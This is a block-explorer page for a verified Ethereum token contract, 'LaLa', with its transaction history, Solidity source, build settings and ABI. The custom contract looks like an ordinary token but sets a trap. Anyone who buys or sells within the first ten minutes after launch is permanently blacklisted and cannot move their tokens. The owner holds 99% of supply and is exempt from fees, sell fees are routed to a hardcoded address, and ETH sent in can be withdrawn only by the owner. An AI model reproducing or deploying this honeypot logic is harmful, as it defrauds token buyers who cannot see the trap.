ETH Price: $3,343.54 (-0.86%)

Contract

0x44Df5e90D6e96FA24BE2E9f60B756255eCC5DA89
 

Overview

ETH Balance

0.001013587 ETH

Eth Value

$3.39 (@ $3,343.54/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer204530482024-08-04 5:18:35165 days ago1722748715IN
0x44Df5e90...5eCC5DA89
0 ETH0.000075911
Transfer204084952024-07-28 23:59:35171 days ago1722211175IN
0x44Df5e90...5eCC5DA89
0 ETH0.000075911
Transfer201496292024-06-22 20:28:47207 days ago1719088127IN
0x44Df5e90...5eCC5DA89
0 ETH0.000129041.7
Transfer198369202024-05-10 3:21:11251 days ago1715311271IN
0x44Df5e90...5eCC5DA89
0.00005258 ETH0.000227733
Transfer198368302024-05-10 3:03:11251 days ago1715310191IN
0x44Df5e90...5eCC5DA89
0 ETH0.000227733
Transfer198361092024-05-10 0:37:35251 days ago1715301455IN
0x44Df5e90...5eCC5DA89
0 ETH0.000242913.2
Approve184685892023-10-31 7:21:35443 days ago1698736895IN
0x44Df5e90...5eCC5DA89
0 ETH0.000395516.27261923
Transfer182952482023-10-07 1:11:59467 days ago1696641119IN
0x44Df5e90...5eCC5DA89
0 ETH0.000379555
Transfer182952482023-10-07 1:11:59467 days ago1696641119IN
0x44Df5e90...5eCC5DA89
0 ETH0.000379555
Transfer182951742023-10-07 0:56:47467 days ago1696640207IN
0x44Df5e90...5eCC5DA89
0 ETH0.000379555
Transfer182896562023-10-06 6:24:47468 days ago1696573487IN
0x44Df5e90...5eCC5DA89
0 ETH0.000379555
Transfer181679802023-09-19 5:49:11485 days ago1695102551IN
0x44Df5e90...5eCC5DA89
0 ETH0.0002394711.40371746
Transfer181679802023-09-19 5:49:11485 days ago1695102551IN
0x44Df5e90...5eCC5DA89
0 ETH0.000492311.72158765
Transfer181679802023-09-19 5:49:11485 days ago1695102551IN
0x44Df5e90...5eCC5DA89
0 ETH0.0002442311.63027878
Transfer181679802023-09-19 5:49:11485 days ago1695102551IN
0x44Df5e90...5eCC5DA89
0 ETH0.0002415111.50067464
Transfer181535402023-09-17 4:55:47487 days ago1694926547IN
0x44Df5e90...5eCC5DA89
0 ETH0.000531377
Transfer180899152023-09-08 6:27:59496 days ago1694154479IN
0x44Df5e90...5eCC5DA89
0 ETH0.0008309510.94638703
Approve180556222023-09-03 11:18:47501 days ago1693739927IN
0x44Df5e90...5eCC5DA89
0 ETH0.0002768211.40654534
Approve180530222023-09-03 2:34:35501 days ago1693708475IN
0x44Df5e90...5eCC5DA89
0 ETH0.0002800210.66975444
Approve180529992023-09-03 2:29:59501 days ago1693708199IN
0x44Df5e90...5eCC5DA89
0 ETH0.0002713511.19238498
Approve180498802023-09-02 16:00:11502 days ago1693670411IN
0x44Df5e90...5eCC5DA89
0 ETH0.0009025419.39747035
Approve180496772023-09-02 15:18:59502 days ago1693667939IN
0x44Df5e90...5eCC5DA89
0 ETH0.0007274815.61485753
Approve180496402023-09-02 15:11:35502 days ago1693667495IN
0x44Df5e90...5eCC5DA89
0 ETH0.0006900314.83026754
Approve180483672023-09-02 10:55:11502 days ago1693652111IN
0x44Df5e90...5eCC5DA89
0 ETH0.0006218713.3480337
Transfer180470102023-09-02 6:20:23502 days ago1693635623IN
0x44Df5e90...5eCC5DA89
0 ETH0.0007919810.43308647
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20LaLa

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 6 : LALAA.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    // function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountETH);
    // function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin,  uint amountETHMin, address to,uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
    // function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    // function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path,address to,uint deadline) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path,address to,uint deadline) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function factory() external view returns (address);
    function totalSupply() external view returns (uint256);
}



library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a, "SafeMath: addition overflow");return c;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return sub(a, b, "SafeMath: subtraction overflow");}
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b <= a, errorMessage);uint256 c = a - b; return c;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {if (a == 0) {return 0;}uint256 c = a * b;require(c / a == b, "SafeMath: multiplication overflow");return c;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return div(a, b, "SafeMath: division by zero");}
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b > 0, errorMessage);uint256 c = a / b;return c;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return mod(a, b, "SafeMath: modulo by zero");}
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage);return a % b;}
}
contract ERC20LaLa is Ownable, ERC20{
    using SafeMath for uint256;
    mapping(address => bool) hei;
    mapping(address => bool) bai;
    mapping(address => bool) public isJoin;
    IUniswapV2Router02 public uniswapV2Router;
    IUniswapV2Pair public uniswapV2Pair;
    mapping(address => bool) isUPair;

    address yxAddr = address(0x5e9E2c46d1128d8037A1F5BA371cd53629a80fBB);
    address deadAddr = address(0x000000000000000000000000000000000000dEaD);
    address dex =  address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    // ETHDEX 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    // address dex =  address(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    // address usdt =  address(0x55d398326f99059fF775485246999027B3197955);
    // address dex =  address(0xB6BA90af76D139AB3170c7df0139636dB6120F7e);
    // address usdt =  address(0xEdA5dA0050e21e9E34fadb1075986Af1370c7BDb);

    uint256 startTime;
    uint256 swapTotal;
    constructor() ERC20("LaLa", "LaLa") {
         address _owner = address(0x9Ba87Ad02Ab703DAc7912c593b8580C40996BdD0); //OW
        _transferOwnership(_owner);
        bai[_owner] = true;
        bai[address(this)] = true;
        _mint(_owner, 99_0000_0000_0000 * 10 ** decimals());
        _mint(address(this), 1_0000_0000_0000 * 10 ** decimals());
        _initSwap();
        startTime = block.timestamp;
    }

       
    function isBai(address addr) private view returns (bool) {
        return bai[address(addr)];
    }
    function isHei(address addr) private view returns (bool) {
        return hei[address(addr)];
    }
    function isPair(address addr) private view returns(bool){
        return address(uniswapV2Pair) == addr;
    }
    function calcFmt(uint256 amount, uint256 fee) private pure returns (uint256){
        if (amount <= 0)return 0;
        if (fee <= 0)return amount;
        return amount.mul(fee).div(100);
    }
    function _initSwap() private {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(dex);
        uniswapV2Router = _uniswapV2Router;
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Pair = IUniswapV2Pair(_uniswapV2Pair);
        isUPair[_uniswapV2Pair] = true;
    }
   
    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "TOKEN: transfer from the zero address");
        require(to != address(0), "TOKEN: transfer to the zero address");
        if(amount == 0) {return super._transfer(from, to, 0);}
        require(!isHei(from),"TOKEN: is black address");
        require(!isHei(to),"TOKEN: is black address");

        bool canSwapSell = swapTotal > 0;
        if( canSwapSell
            && !inSwapAndLiquify
            && !isPair(from)
            && from != owner()
            && to != owner()
        ){
            if(swapTotal>0)_swapTokensForEth(swapTotal);
        }

        bool takeFee;
        if (isBai(from) || isBai(to))takeFee = true;
        if (!takeFee) {
            if(isPair(to) || isPair(from)){
                require(uniswapV2Pair.totalSupply() > 0,"TOKEN: LP is Not yet open");
                uint256 _amt;
                uint256 nowTime = block.timestamp;
                if(isPair(from)){//buy
                    if(nowTime.sub(startTime) < 600)hei[address(to)] = true;
                }
                if(isPair(to)){ //sell
                    if(nowTime.sub(startTime) < 600)hei[address(from)] = true;
                    _amt = calcFmt(amount,5);
                    amount = amount.sub(_amt);
                    swapTotal += _amt;
                    super._transfer(from, address(this), _amt);
                }
            }
        }
        super._transfer(from, to, amount);
    }

    function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        swapTotal = swapTotal.sub(tokenAmount);
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(yxAddr),
            block.timestamp
        );
    }
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function OwnerAtmETH() external onlyOwner{
        address sender = msg.sender;
        payable(sender).transfer(address(this).balance);
    }

    event LogBalance(string func,address sender,uint value);
    receive() external payable {
        address sender = msg.sender;
        if(isContract(sender)  || (tx.origin != sender))return;
        if(isJoin[sender])return;
        emit LogBalance("IntputETH",sender, msg.value);
        uint thatBalace = balanceOf(address(this));
        uint amt = 1_0000_0000 * 10 ** decimals();
        isJoin[sender] = true;
        super._transfer(address(this), sender, thatBalace>amt ? amt : thatBalace);
    }
}

File 2 of 6 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 3 of 6 : ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 6 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 5 of 6 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

File 6 of 6 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"func","type":"string"},{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"LogBalance","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OwnerAtmETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isJoin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

